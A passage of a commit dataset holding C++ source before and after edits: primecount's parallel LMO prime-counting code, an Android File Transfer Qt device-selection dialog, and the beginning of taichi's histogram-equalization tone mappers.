counters);\n    }\n\n    \/\/ For pi_sqrty <= b < pi_y\n    \/\/ Find all special leaves: n = primes[b] * prime2\n    \/\/ which satisfy: low <= (x \/ n) < high\n    for (; b < min(pi_y, size); b++)\n    {\n      int64_t prime = primes[b];\n      int64_t l = pi[min(x \/ (prime * low), y)];\n      int64_t min_m = max3(x \/ (prime * high), y \/ prime, prime);\n\n      if (prime >= primes[l])\n        goto next_segment;\n\n      for (; primes[l] > min_m; l--)\n      {\n        int64_t n = prime * primes[l];\n        int64_t count = cnt_query(counters, (x \/ n) - low);\n        int64_t phi_xn = phi[b] + count;\n        S2_thread += phi_xn;\n        mu_sum[b]++;\n      }\n\n      phi[b] += cnt_query(counters, (high - 1) - low);\n      cross_off(prime, low, high, next[b], sieve, counters);\n    }\n\n    next_segment:;\n  }\n\n  return S2_thread;\n}\n\n\/\/\/ Calculate the contribution of the special leaves.\n\/\/\/ This is a parallel implementation with advanced load balancing.\n\/\/\/ As most special leaves tend to be in the first segments we\n\/\/\/ start off with a small segment size and few segments\n\/\/\/ per thread, after each iteration we dynamically increase\n\/\/\/ the segment size and the segments per thread.\n\/\/\/ @pre y > 0 && c > 1\n\/\/\/\nint64_t S2(int64_t x,\n           int64_t y,\n           int64_t c,\n           int64_t s2_approx,\n           vector<int32_t>& primes,\n           vector<int32_t>& lpf,\n           vector<int32_t>& mu,\n           int threads)\n{\n  if (print_status())\n  {\n    cout << endl;\n    cout << \"=== S2(x, y) ===\" << endl;\n    cout << \"Computation of the special leaves\" << endl;\n  }\n\n  int64_t S2_total = 0;\n  int64_t low = 1;\n  int64_t limit = x \/ y + 1;\n  threads = validate_threads(threads, limit);\n\n  S2Status status(s2_approx);\n  S2LoadBalancer loadBalancer(x, limit, threads);\n  int64_t segment_size = loadBalancer.get_min_segment_size();\n  int64_t segments_per_thread = 1;\n\n  double time = get_wtime();\n  vector<int32_t> pi = generate_pi(y);\n  vector<int64_t> phi_total(primes.size(), 0);\n\n  while (low < limit)\n  {\n    int64_t segments = ceil_div(limit - low, segment_size);\n    threads = in_between(1, threads, segments);\n    segments_per_thread = in_between(1, segments_per_thread, ceil_div(segments, threads));\n\n    aligned_vector<vector<int64_t> > phi(threads);\n    aligned_vector<vector<int64_t> > mu_sum(threads);\n    aligned_vector<double> timings(threads);\n\n    #pragma omp parallel for num_threads(threads) reduction(+: S2_total)\n    for (int i = 0; i < threads; i++)\n    {\n      timings[i] = get_wtime();\n      S2_total += S2_thread(x, y, c, segment_size, segments_per_thread,\n          i, low, limit, pi, primes, lpf, mu, mu_sum[i], phi[i]);\n      timings[i] = get_wtime() - timings[i];\n    }\n\n    \/\/ Once all threads have finished reconstruct and add the \n    \/\/ missing contribution of all special leaves. This must\n    \/\/ be done in order as each thread (i) requires the sum of\n    \/\/ the phi values from the previous threads.\n    \/\/\n    for (int i = 0; i < threads; i++)\n    {\n      for (size_t j = 1; j < phi[i].size(); j++)\n      {\n        S2_total += phi_total[j] * mu_sum[i][j];\n        phi_total[j] += phi[i][j];\n      }\n    }\n\n    low += segments_per_thread * threads * segment_size;\n    loadBalancer.update(low, threads, &segment_size, &segments_per_thread, timings);\n\n    if (print_status())\n      status.print(S2_total, loadBalancer.get_rsd());\n  }\n\n  if (print_status())\n    print_result(\"S2\", S2_total, time);\n\n  return S2_total;\n}\n\n\/\/\/ alpha is a tuning factor which should grow like (log(x))^2\n\/\/\/ for the Lagarias-Miller-Odlyzko algorithm\n\/\/\/\ndouble compute_alpha(int64_t x)\n{\n  double d = (double) x;\n  return in_between(1, log(d) * log(d) \/ 300, iroot<6>(x));\n}\n\n} \/\/ namespace\n\nnamespace primecount {\n\n\/\/\/ Calculate the number of primes below x using the\n\/\/\/ Lagarias-Miller-Odlyzko algorithm.\n\/\/\/ Run time: O(x^(2\/3) \/ log x) operations, O(x^(1\/3) * (log x)^2) space.\n\/\/\/\nint64_t pi_lmo_parallel3(int64_t x, int threads)\n{\n  if (x < 2)\n    return 0;\n\n  double alpha = compute_alpha(x);\n  int64_t x13 = iroot<3>(x);\n  int64_t y = (int64_t) (x13 * alpha);\n\n  if (print_status())\n  {\n    cout << endl;\n    cout << \"=== pi_lmo_parallel3(x) ===\" << endl;\n    cout << \"pi(x) = S1 + S2 + pi(y) - 1 - P2\" << endl;\n    cout << \"x = \" << x << endl;\n    cout << \"y = \" << y << endl;\n    cout << \"c = \" << PhiTiny::max_a() << endl;\n    cout << \"threads = \" << validate_threads(threads) << endl;\n  }\n\n  int64_t p2 = P2(x, y, threads);\n\n  vector<int32_t> mu = generate_moebius(y);\n  vector<int32_t> lpf = generate_least_prime_factors(y);\n  vector<int32_t> primes = generate_primes(y);\n\n  int64_t pi_y = primes.size() - 1;\n  int64_t c = min(pi_y, PhiTiny::max_a());\n  int64_t s1 = S1(x, y, c, primes[c], lpf , mu, threads);\n  int64_t s2_approx = S2_approx(x, pi_y, p2, s1);\n  int64_t s2 = S2(x, y, c, s2_approx, primes, lpf , mu, threads);\n  int64_t phi = s1 + s2;\n  int64_t sum = phi + pi_y - 1 - p2;\n\n  return sum;\n}\n\n} \/\/ namespace primecount\n<commit_msg>Update pi_lmo_parallel3.cpp<commit_after>\/\/\/\n\/\/\/ @file  pi_lmo_parallel3.cpp\n\/\/\/ @brief Parallel implementation of the Lagarias-Miller-Odlyzko\n\/\/\/        prime counting algorithm using OpenMP. This implementation\n\/\/\/        is based on pi_lmo_parallel2(x) but has an improved\n\/\/\/        load balancing.\n\/\/\/\n\/\/\/ Copyright (C) 2014 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <primecount-internal.hpp>\n#include <aligned_vector.hpp>\n#include <BitSieve.hpp>\n#include <generate.hpp>\n#include <pmath.hpp>\n#include <PhiTiny.hpp>\n#include <S1.hpp>\n#include <S2LoadBalancer.hpp>\n#include <S2Status.hpp>\n#include <tos_counters.hpp>\n\n#include <stdint.h>\n#include <algorithm>\n#include <iostream>\n#include <vector>\n\n#ifdef _OPENMP\n  #include <omp.h>\n#endif\n\nusing namespace std;\nusing namespace primecount;\n\nnamespace {\n\n\/\/\/ For each prime calculate its first multiple >= low\nvector<int64_t> generate_next_multiples(int64_t low, int64_t size, vector<int32_t>& primes)\n{\n  vector<int64_t> next;\n\n  next.reserve(size);\n  next.push_back(0);\n\n  for (int64_t b = 1; b < size; b++)\n  {\n    int64_t prime = primes[b];\n    int64_t next_multiple = ceil_div(low, prime) * prime;\n    next_multiple += prime * (~next_multiple & 1);\n    next.push_back(next_multiple);\n  }\n\n  return next;\n}\n\ntemplate <typename T>\nvoid cross_off(int64_t prime,\n               int64_t low,\n               int64_t high,\n               int64_t& next_multiple,\n               BitSieve& sieve,\n               T& counters)\n{\n  int64_t segment_size = sieve.size();\n  int64_t k = next_multiple;\n\n  for (; k < high; k += prime * 2)\n  {\n    if (sieve[k - low])\n    {\n      sieve.unset(k - low);\n      cnt_update(counters, k - low, segment_size);\n    }\n  }\n  next_multiple = k;\n}\n\n\/\/\/ Compute the S2 contribution for the interval\n\/\/\/ [low_process, low_process + segments * segment_size[.\n\/\/\/ The missing special leaf contributions for the interval\n\/\/\/ [1, low_process[ are later reconstructed and added in\n\/\/\/ the calling (parent) S2 function.\n\/\/\/\nint64_t S2_thread(int64_t x,\n                  int64_t y,\n                  int64_t c,\n                  int64_t segment_size,\n                  int64_t segments_per_thread,\n                  int64_t thread_num,\n                  int64_t low,\n                  int64_t limit,\n                  vector<int32_t>& pi,\n                  vector<int32_t>& primes,\n                  vector<int32_t>& lpf,\n                  vector<int32_t>& mu,\n                  vector<int64_t>& mu_sum,\n                  vector<int64_t>& phi)\n{\n  low += segment_size * segments_per_thread * thread_num;\n  limit = min(low + segment_size * segments_per_thread, limit);\n  int64_t size = pi[min(isqrt(x \/ low), y)] + 1;\n  int64_t pi_sqrty = pi[isqrt(y)];\n  int64_t pi_y = pi[y];\n\n  if (c >= size - 1)\n    return 0;\n\n  int64_t S2_thread = 0;\n  BitSieve sieve(segment_size);\n  vector<int32_t> counters(segment_size);\n  vector<int64_t> next = generate_next_multiples(low, size, primes);\n  phi.resize(size, 0);\n  mu_sum.resize(size, 0);\n\n  \/\/ Process the segments assigned to the current thread\n  for (; low < limit; low += segment_size)\n  {\n    \/\/ Current segment = interval [low, high[\n    int64_t high = min(low + segment_size, limit);\n    int64_t b = 2;\n\n    sieve.fill(low, high);\n\n    \/\/ phi(y, b) nodes with b <= c do not contribute to S2, so we\n    \/\/ simply sieve out the multiples of the first c primes\n    for (; b <= c; b++)\n    {\n      int64_t k = next[b];\n      for (int64_t prime = primes[b]; k < high; k += prime * 2)\n        sieve.unset(k - low);\n      next[b] = k;\n    }\n\n    \/\/ Initialize special tree data structure from sieve\n    cnt_finit(sieve, counters, segment_size);\n\n    \/\/ For c + 1 <= b < pi_sqrty\n    \/\/ Find all special leaves: n = primes[b] * m\n    \/\/ which satisfy:  mu[m] != 0 && primes[b] < lpf[m], low <= (x \/ n) < high\n    for (; b < min(pi_sqrty, size); b++)\n    {\n      int64_t prime = primes[b];\n      int64_t min_m = max(x \/ (prime * high), y \/ prime);\n      int64_t max_m = min(x \/ (prime * low), y);\n\n      if (prime >= max_m)\n        goto next_segment;\n\n      for (int64_t m = max_m; m > min_m; m--)\n      {\n        if (mu[m] != 0 && prime < lpf[m])\n        {\n          int64_t n = prime * m;\n          int64_t count = cnt_query(counters, (x \/ n) - low);\n          int64_t phi_xn = phi[b] + count;\n          S2_thread -= mu[m] * phi_xn;\n          mu_sum[b] -= mu[m];\n        }\n      }\n\n      phi[b] += cnt_query(counters, (high - 1) - low);\n      cross_off(prime, low, high, next[b], sieve, counters);\n    }\n\n    \/\/ For pi_sqrty <= b < pi_y\n    \/\/ Find all special leaves: n = primes[b] * prime2\n    \/\/ which satisfy: low <= (x \/ n) < high\n    for (; b < min(pi_y, size); b++)\n    {\n      int64_t prime = primes[b];\n      int64_t l = pi[min(x \/ (prime * low), y)];\n      int64_t min_m = max3(x \/ (prime * high), y \/ prime, prime);\n\n      if (prime >= primes[l])\n        goto next_segment;\n\n      for (; primes[l] > min_m; l--)\n      {\n        int64_t n = prime * primes[l];\n        int64_t count = cnt_query(counters, (x \/ n) - low);\n        int64_t phi_xn = phi[b] + count;\n        S2_thread += phi_xn;\n        mu_sum[b]++;\n      }\n\n      phi[b] += cnt_query(counters, (high - 1) - low);\n      cross_off(prime, low, high, next[b], sieve, counters);\n    }\n\n    next_segment:;\n  }\n\n  return S2_thread;\n}\n\n\/\/\/ Calculate the contribution of the special leaves.\n\/\/\/ This is a parallel implementation with advanced load balancing.\n\/\/\/ As most special leaves tend to be in the first segments we\n\/\/\/ start off with a small segment size and few segments\n\/\/\/ per thread, after each iteration we dynamically increase\n\/\/\/ the segment size and the segments per thread.\n\/\/\/ @pre y > 0 && c > 1\n\/\/\/\nint64_t S2(int64_t x,\n           int64_t y,\n           int64_t c,\n           int64_t s2_approx,\n           vector<int32_t>& primes,\n           vector<int32_t>& lpf,\n           vector<int32_t>& mu,\n           int threads)\n{\n  if (print_status())\n  {\n    cout << endl;\n    cout << \"=== S2(x, y) ===\" << endl;\n    cout << \"Computation of the special leaves\" << endl;\n  }\n\n  int64_t S2_total = 0;\n  int64_t low = 1;\n  int64_t limit = x \/ y + 1;\n  threads = validate_threads(threads, limit);\n\n  S2Status status;\n  S2LoadBalancer loadBalancer(x, limit, threads);\n  int64_t segment_size = loadBalancer.get_min_segment_size();\n  int64_t segments_per_thread = 1;\n\n  double time = get_wtime();\n  vector<int32_t> pi = generate_pi(y);\n  vector<int64_t> phi_total(primes.size(), 0);\n\n  while (low < limit)\n  {\n    int64_t segments = ceil_div(limit - low, segment_size);\n    threads = in_between(1, threads, segments);\n    segments_per_thread = in_between(1, segments_per_thread, ceil_div(segments, threads));\n\n    aligned_vector<vector<int64_t> > phi(threads);\n    aligned_vector<vector<int64_t> > mu_sum(threads);\n    aligned_vector<double> timings(threads);\n\n    #pragma omp parallel for num_threads(threads) reduction(+: S2_total)\n    for (int i = 0; i < threads; i++)\n    {\n      timings[i] = get_wtime();\n      S2_total += S2_thread(x, y, c, segment_size, segments_per_thread,\n          i, low, limit, pi, primes, lpf, mu, mu_sum[i], phi[i]);\n      timings[i] = get_wtime() - timings[i];\n    }\n\n    \/\/ Once all threads have finished reconstruct and add the \n    \/\/ missing contribution of all special leaves. This must\n    \/\/ be done in order as each thread (i) requires the sum of\n    \/\/ the phi values from the previous threads.\n    \/\/\n    for (int i = 0; i < threads; i++)\n    {\n      for (size_t j = 1; j < phi[i].size(); j++)\n      {\n        S2_total += phi_total[j] * mu_sum[i][j];\n        phi_total[j] += phi[i][j];\n      }\n    }\n\n    low += segments_per_thread * threads * segment_size;\n    loadBalancer.update(low, threads, &segment_size, &segments_per_thread, timings);\n\n    if (print_status())\n      status.print(S2_total, s2_approx, loadBalancer.get_rsd());\n  }\n\n  if (print_status())\n    print_result(\"S2\", S2_total, time);\n\n  return S2_total;\n}\n\n\/\/\/ alpha is a tuning factor which should grow like (log(x))^2\n\/\/\/ for the Lagarias-Miller-Odlyzko algorithm\n\/\/\/\ndouble compute_alpha(int64_t x)\n{\n  double d = (double) x;\n  return in_between(1, log(d) * log(d) \/ 300, iroot<6>(x));\n}\n\n} \/\/ namespace\n\nnamespace primecount {\n\n\/\/\/ Calculate the number of primes below x using the\n\/\/\/ Lagarias-Miller-Odlyzko algorithm.\n\/\/\/ Run time: O(x^(2\/3) \/ log x) operations, O(x^(1\/3) * (log x)^2) space.\n\/\/\/\nint64_t pi_lmo_parallel3(int64_t x, int threads)\n{\n  if (x < 2)\n    return 0;\n\n  double alpha = compute_alpha(x);\n  int64_t x13 = iroot<3>(x);\n  int64_t y = (int64_t) (x13 * alpha);\n\n  if (print_status())\n  {\n    cout << endl;\n    cout << \"=== pi_lmo_parallel3(x) ===\" << endl;\n    cout << \"pi(x) = S1 + S2 + pi(y) - 1 - P2\" << endl;\n    cout << \"x = \" << x << endl;\n    cout << \"y = \" << y << endl;\n    cout << \"c = \" << PhiTiny::max_a() << endl;\n    cout << \"threads = \" << validate_threads(threads) << endl;\n  }\n\n  int64_t p2 = P2(x, y, threads);\n\n  vector<int32_t> mu = generate_moebius(y);\n  vector<int32_t> lpf = generate_least_prime_factors(y);\n  vector<int32_t> primes = generate_primes(y);\n\n  int64_t pi_y = primes.size() - 1;\n  int64_t c = min(pi_y, PhiTiny::max_a());\n  int64_t s1 = S1(x, y, c, primes[c], lpf , mu, threads);\n  int64_t s2_approx = S2_approx(x, pi_y, p2, s1);\n  int64_t s2 = S2(x, y, c, s2_approx, primes, lpf , mu, threads);\n  int64_t phi = s1 + s2;\n  int64_t sum = phi + pi_y - 1 - p2;\n\n  return sum;\n}\n\n} \/\/ namespace primecount\n<|endoftext|>"}
{"text":"<commit_before>#include \"devicesdialog.h\"\n#include \"ui_devicesdialog.h\"\n#include \"utils.h\"\n#include <usb\/Context.h>\n#include <mtp\/ptp\/Device.h>\n#include <mtp\/ptp\/PipePacketer.h>\n#include <QDebug>\n#include <QMessageBox>\n#include <QPushButton>\n#include <algorithm>\n\nDevicesDialog::DevicesDialog(bool resetDevice, QWidget *parent) :\n\tQDialog(parent),\n\t_resetDevice(resetDevice),\n\tui(new Ui::DevicesDialog)\n{\n\tui->setupUi(this);\n\t_buttonScan = ui->buttonBox->addButton(tr(\"Rescan Devices\"), QDialogButtonBox::ActionRole);\n\t_buttonKill = ui->buttonBox->addButton(tr(\"Kill Users\"), QDialogButtonBox::ActionRole);\n\tconnect(ui->listWidget, SIGNAL(itemClicked(QListWidgetItem *)), SLOT(itemClicked(QListWidgetItem *)));\n\tconnect(ui->listWidget, SIGNAL(itemDoubleClicked(QListWidgetItem *)), SLOT(itemDoubleClicked(QListWidgetItem *)));\n\tconnect(_buttonScan, SIGNAL(clicked()), SLOT(scan()));\n\tconnect(_buttonKill, SIGNAL(clicked()), SLOT(kill()));\n}\n\nmtp::DevicePtr DevicesDialog::getDevice()\n{\n\tint row = ui->listWidget->currentRow();\n\tif (row >= 0 && row < static_cast<int>(_devices.size()))\n\t\treturn _devices[row].Device;\n\telse\n\t\treturn nullptr;\n}\n\nvoid DevicesDialog::kill()\n{\n\tqDebug(\"kill\");\n\n\tint index = ui->listWidget->currentRow();\n\tif (index < 0 && index >= static_cast<int>(_devices.size()))\n\t\treturn;\n\n\tauto & row = _devices[index];\n\n\tbool canKill = !row.Processes.empty();\n\tQString processList;\n\tfor (auto & desc : row.Processes)\n\t{\n\t\tprocessList += QString(\"%1 (pid: %2)\\n\").arg(fromUtf8(desc.Name)).arg(desc.Id);\n\t}\n\tif (canKill)\n\t\tprocessList = tr(\"The following processes are keeping file descriptors for your device:\\n\") + processList;\n\n\tQMessageBox dialog(\n\t\tQMessageBox::Warning,\n\t\ttr(\"Device is busy\"),\n\t\ttr(\"Device is busy, maybe another process is using it.\\n\\n\") +\n\t\tprocessList +\n\t\ttr(\"Close other MTP applications and restart Android File Transfer.\\n\"\n\t\t\"\\nPress Abort to kill them or Ignore to try next device.\"),\n\t\t(canKill? QMessageBox::Ok: QMessageBox::StandardButton(0)) | QMessageBox::Cancel,\n\t\tthis\n\t);\n\n\tdialog.setDefaultButton(QMessageBox::Ignore);\n\tdialog.setEscapeButton(QMessageBox::Ignore);\n\tauto r = dialog.exec();\n\n\tif ((r & QMessageBox::Ok) == QMessageBox::Ok)\n\t{\n\t\tqDebug(\"kill'em all\");\n\t\tmtp::usb::DeviceBusyException::Kill(row.Processes);\n\t\tscan();\n\t}\n}\n\nvoid DevicesDialog::scan()\n{\n\tqDebug(\"scan\");\n\tbool claimInterface = true;\n\tbool resetDevice = _resetDevice;\n\n\t_devices.clear();\n\n\tmtp::usb::ContextPtr ctx(new mtp::usb::Context);\n\n\tauto devices = ctx->GetDevices();\n\tfor (auto desc = devices.begin(); desc != devices.end(); ++desc)\n\t{\n\t\tqDebug(\"probing device...\");\n\t\ttry\n\t\t{\n\t\t\tauto device = mtp::Device::Open(ctx, *desc, claimInterface, resetDevice);\n\t\t\t_devices.push_back({ *desc, device, {} });\n\t\t}\n\t\tcatch(const mtp::usb::DeviceBusyException &ex)\n\t\t{\n\t\t\tif (!ex.Processes.empty())\n\t\t\t\t_devices.push_back(Row { *desc, nullptr, ex.Processes });\n\t\t}\n\t\tcatch(const std::exception &ex)\n\t\t{ qWarning(\"Device::Find failed: %s\", ex.what()); }\n\t}\n\n\tstd::stable_sort(_devices.begin(), _devices.end(), [](const Row & a, const Row & b) {\n\t\treturn a.Device > b.Device;\n\t});\n\n\tauto it = std::remove_if(_devices.begin(), _devices.end(), [](const Row & row) {\n\t\treturn !row.Device && row.Processes.empty();\n\t});\n\t_devices.erase(it, _devices.end());\n\n\tui->listWidget->clear();\n\tfor(auto & row : _devices)\n\t{\n\t\tQString name;\n\t\tif (row.Device)\n\t\t{\n\t\t\tauto info = row.Device->GetInfo();\n\t\t\tname = QString(\"%1 %2 %3\")\n\t\t\t\t.arg(fromUtf8(info.Manufacturer))\n\t\t\t\t.arg(fromUtf8(info.Model))\n\t\t\t\t.arg(fromUtf8(info.SerialNumber));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tauto & desc = row.Descriptor;\n\t\t\tname = QString(tr(\"USB Device %1:%2\"))\n\t\t\t\t.arg(static_cast<int>(desc->GetVendorId()), 4, 16, QChar('0'))\n\t\t\t\t.arg(static_cast<int>(desc->GetProductId()), 4, 16, QChar('0'));\n\t\t}\n\t\tui->listWidget->addItem(name);\n\t}\n\n\tif (!_devices.empty())\n\t\tui->listWidget->setCurrentRow(0);\n\n\tupdateButtons();\n}\n\n\nint DevicesDialog::exec()\n{\n\tscan();\n\n\tif (_devices.empty())\n\t\treturn QDialog::Rejected;\n\n\treturn QDialog::exec();\n}\n\nvoid DevicesDialog::updateButtons()\n{\n\t_buttonKill->setEnabled(false);\n\tint row = ui->listWidget->currentRow();\n\tif (row >= 0 && row < static_cast<int>(_devices.size()))\n\t{\n\t\t_buttonKill->setEnabled(!_devices[row].Processes.empty());\n\t}\n}\n\nvoid DevicesDialog::itemClicked(QListWidgetItem *)\n{ updateButtons(); }\n\nvoid DevicesDialog::itemDoubleClicked(QListWidgetItem *)\n{ updateButtons(); accept(); }\n\nDevicesDialog::~DevicesDialog()\n{\n\tdelete ui;\n}\n<commit_msg>do not show device dialog for single opened mtp device<commit_after>#include \"devicesdialog.h\"\n#include \"ui_devicesdialog.h\"\n#include \"utils.h\"\n#include <usb\/Context.h>\n#include <mtp\/ptp\/Device.h>\n#include <mtp\/ptp\/PipePacketer.h>\n#include <QDebug>\n#include <QMessageBox>\n#include <QPushButton>\n#include <algorithm>\n\nDevicesDialog::DevicesDialog(bool resetDevice, QWidget *parent) :\n\tQDialog(parent),\n\t_resetDevice(resetDevice),\n\tui(new Ui::DevicesDialog)\n{\n\tui->setupUi(this);\n\t_buttonScan = ui->buttonBox->addButton(tr(\"Rescan Devices\"), QDialogButtonBox::ActionRole);\n\t_buttonKill = ui->buttonBox->addButton(tr(\"Kill Users\"), QDialogButtonBox::ActionRole);\n\tconnect(ui->listWidget, SIGNAL(itemClicked(QListWidgetItem *)), SLOT(itemClicked(QListWidgetItem *)));\n\tconnect(ui->listWidget, SIGNAL(itemDoubleClicked(QListWidgetItem *)), SLOT(itemDoubleClicked(QListWidgetItem *)));\n\tconnect(_buttonScan, SIGNAL(clicked()), SLOT(scan()));\n\tconnect(_buttonKill, SIGNAL(clicked()), SLOT(kill()));\n}\n\nmtp::DevicePtr DevicesDialog::getDevice()\n{\n\tint row = ui->listWidget->currentRow();\n\tif (row >= 0 && row < static_cast<int>(_devices.size()))\n\t\treturn _devices[row].Device;\n\telse\n\t\treturn nullptr;\n}\n\nvoid DevicesDialog::kill()\n{\n\tqDebug(\"kill\");\n\n\tint index = ui->listWidget->currentRow();\n\tif (index < 0 && index >= static_cast<int>(_devices.size()))\n\t\treturn;\n\n\tauto & row = _devices[index];\n\n\tbool canKill = !row.Processes.empty();\n\tQString processList;\n\tfor (auto & desc : row.Processes)\n\t{\n\t\tprocessList += QString(\"%1 (pid: %2)\\n\").arg(fromUtf8(desc.Name)).arg(desc.Id);\n\t}\n\tif (canKill)\n\t\tprocessList = tr(\"The following processes are keeping file descriptors for your device:\\n\") + processList;\n\n\tQMessageBox dialog(\n\t\tQMessageBox::Warning,\n\t\ttr(\"Device is busy\"),\n\t\ttr(\"Device is busy, maybe another process is using it.\\n\\n\") +\n\t\tprocessList +\n\t\ttr(\"Close other MTP applications and restart Android File Transfer.\\n\"\n\t\t\"\\nPress Abort to kill them or Ignore to try next device.\"),\n\t\t(canKill? QMessageBox::Ok: QMessageBox::StandardButton(0)) | QMessageBox::Cancel,\n\t\tthis\n\t);\n\n\tdialog.setDefaultButton(QMessageBox::Ignore);\n\tdialog.setEscapeButton(QMessageBox::Ignore);\n\tauto r = dialog.exec();\n\n\tif ((r & QMessageBox::Ok) == QMessageBox::Ok)\n\t{\n\t\tqDebug(\"kill'em all\");\n\t\tmtp::usb::DeviceBusyException::Kill(row.Processes);\n\t\tscan();\n\t}\n}\n\nvoid DevicesDialog::scan()\n{\n\tqDebug(\"scan\");\n\tbool claimInterface = true;\n\tbool resetDevice = _resetDevice;\n\n\t_devices.clear();\n\n\tmtp::usb::ContextPtr ctx(new mtp::usb::Context);\n\n\tauto devices = ctx->GetDevices();\n\tfor (auto desc = devices.begin(); desc != devices.end(); ++desc)\n\t{\n\t\tqDebug(\"probing device...\");\n\t\ttry\n\t\t{\n\t\t\tauto device = mtp::Device::Open(ctx, *desc, claimInterface, resetDevice);\n\t\t\t_devices.push_back({ *desc, device, {} });\n\t\t}\n\t\tcatch(const mtp::usb::DeviceBusyException &ex)\n\t\t{\n\t\t\tif (!ex.Processes.empty())\n\t\t\t\t_devices.push_back(Row { *desc, nullptr, ex.Processes });\n\t\t}\n\t\tcatch(const std::exception &ex)\n\t\t{ qWarning(\"Device::Find failed: %s\", ex.what()); }\n\t}\n\n\tstd::stable_sort(_devices.begin(), _devices.end(), [](const Row & a, const Row & b) {\n\t\treturn a.Device > b.Device;\n\t});\n\n\tauto it = std::remove_if(_devices.begin(), _devices.end(), [](const Row & row) {\n\t\treturn !row.Device && row.Processes.empty();\n\t});\n\t_devices.erase(it, _devices.end());\n\n\tui->listWidget->clear();\n\tfor(auto & row : _devices)\n\t{\n\t\tQString name;\n\t\tif (row.Device)\n\t\t{\n\t\t\tauto info = row.Device->GetInfo();\n\t\t\tname = QString(\"%1 %2 %3\")\n\t\t\t\t.arg(fromUtf8(info.Manufacturer))\n\t\t\t\t.arg(fromUtf8(info.Model))\n\t\t\t\t.arg(fromUtf8(info.SerialNumber));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tauto & desc = row.Descriptor;\n\t\t\tname = QString(tr(\"USB Device %1:%2\"))\n\t\t\t\t.arg(static_cast<int>(desc->GetVendorId()), 4, 16, QChar('0'))\n\t\t\t\t.arg(static_cast<int>(desc->GetProductId()), 4, 16, QChar('0'));\n\t\t}\n\t\tui->listWidget->addItem(name);\n\t}\n\n\tif (!_devices.empty())\n\t\tui->listWidget->setCurrentRow(0);\n\n\tupdateButtons();\n}\n\n\nint DevicesDialog::exec()\n{\n\tscan();\n\n\tif (_devices.empty())\n\t\treturn QDialog::Rejected;\n\n\tif (_devices.size() == 1 && _devices.front().Device)\n\t{\n\t\treturn QDialog::Accepted;\n\t}\n\n\treturn QDialog::exec();\n}\n\nvoid DevicesDialog::updateButtons()\n{\n\t_buttonKill->setEnabled(false);\n\tint row = ui->listWidget->currentRow();\n\tif (row >= 0 && row < static_cast<int>(_devices.size()))\n\t{\n\t\t_buttonKill->setEnabled(!_devices[row].Processes.empty());\n\t}\n}\n\nvoid DevicesDialog::itemClicked(QListWidgetItem *)\n{ updateButtons(); }\n\nvoid DevicesDialog::itemDoubleClicked(QListWidgetItem *)\n{ updateButtons(); accept(); }\n\nDevicesDialog::~DevicesDialog()\n{\n\tdelete ui;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <taichi\/hdr\/tone_mapper.h>\n#include <taichi\/math\/array_op.h>\n#include <taichi\/math\/array_3d.h>\n#include <taichi\/physics\/physics_constants.h>\n\nTC_NAMESPACE_BEGIN\n\nclass HETMO final : public ToneMapper {\nprotected:\n    int num_bins;\npublic:\n    void initialize(const Config &config) override {\n        num_bins = config.get_int(\"num_bins\");\n    }\n\n    virtual Array2D<Vector3> apply(const Array2D<Vector3> &inp) override {\n        int width = inp.get_width(), height = inp.get_height();\n        Array2D<real> lum(inp.get_width(), inp.get_height());\n        for (auto &ind : inp.get_region()) {\n            lum[ind] = luminance(inp[ind]);\n        }\n        auto scale = num_bins \/ (1e-30f + lum.max());\n        std::vector<int> cdf(num_bins, 0);\n        for (auto &ind : inp.get_region()) {\n            cdf[std::min(num_bins - 1, (int)(scale * lum[ind]))] += 1;\n        }\n        for (int i = 0; i < num_bins - 1; i++) {\n            cdf[i + 1] += cdf[i];\n        }\n        auto oup = inp;\n        for (auto &ind : oup.get_region()) {\n            real new_lum = 1.0f * cdf[std::min(num_bins - 1, (int)(scale * lum[ind]))]\n                \/ (width * height);\n            for (int i = 0; i < 3; i++) {\n                oup[ind][i] = inp[ind][i] \/ (lum[ind] + 1e-30f) * new_lum;\n            }\n        }\n        return oup;\n    }\n};\n\nTC_IMPLEMENTATION(ToneMapper, HETMO, \"he\")\n\nclass CLAHETMO final : public ToneMapper {\nprotected:\n    int num_bins;\n    int num_slices;\n    real contrast_limit;\npublic:\n    void initialize(const Config &config) override {\n        num_bins = config.get_int(\"num_bins\");\n        num_slices = config.get_int(\"num_slices\");\n        contrast_limit = config.get(\"contrast_limit\", 0.0f);\n    }\n\n    virtual Array2D<Vector3> apply(const Array2D<Vector3> &inp) override {\n        int width = inp.get_width(), height = inp.get_height();\n        int x_slices = num_slices;\n        int y_slices = num_slices;\n        int x_slice_size = (int)std::ceil(1.0f * width \/ num_slices);\n        int y_slice_size = (int)std::ceil(1.0f * height \/ num_slices);\n        Array2D<real> lum(inp.get_width(), inp.get_height());\n        for (auto &ind : inp.get_region()) {\n            lum[ind] = luminance(inp[ind]);\n        }\n        real max_lum = lum.max() + 1e-20f;\n        real scale = num_bins \/ max_lum;\n        Array3D<real> histograms(Vector3i(x_slices, y_slices, num_bins));\n        for (int i = 0; i < x_slices; i++) {\n            for (int j = 0; j < y_slices; j++) {\n                int x_start = std::max(0, (i - 1) * x_slice_size);\n                int x_end = std::min((i + 2) * x_slice_size, width);\n                int y_start = std::max(0, (j - 1) * y_slice_size);\n                int y_end = std::min((j + 2) * y_slice_size, height);\n                std::vector<int> cdf(num_bins, 0);\n                for (int x = x_start; x < x_end; x++) {\n                    for (int y = y_start; y < y_end; y++) {\n                        cdf[std::min(num_bins - 1, (int)(scale * lum[x][y]))] += 1;\n                    }\n                }\n                int num_pixels = (x_end - x_start) * (y_end - y_start);\n                int threshold = int(1.0f * num_pixels \/ num_bins * contrast_limit);\n                int clipped = 0;\n                if (contrast_limit != 0.0f) {\n                    for (int k = 0; k < num_bins; k++) {\n                        if (cdf[k] > threshold) {\n                            clipped += cdf[k] - threshold;\n                            cdf[k] = threshold;\n                        }\n                    }\n                    int gain = clipped \/ num_bins;\n                    for (int k = 0; k < num_bins; k++) {\n                        cdf[k] += gain;\n                    }\n                }\n                for (int k = 0; k < num_bins - 1; k++) {\n                    cdf[k + 1] += cdf[k];\n                }\n                real inv_scale = 1.0f \/ num_pixels;\n                for (int k = num_bins - 2; k >= 0; k--) {\n                    cdf[k + 1] = cdf[k];\n                }\n                cdf[0] = 0;\n                for (int k = 0; k < 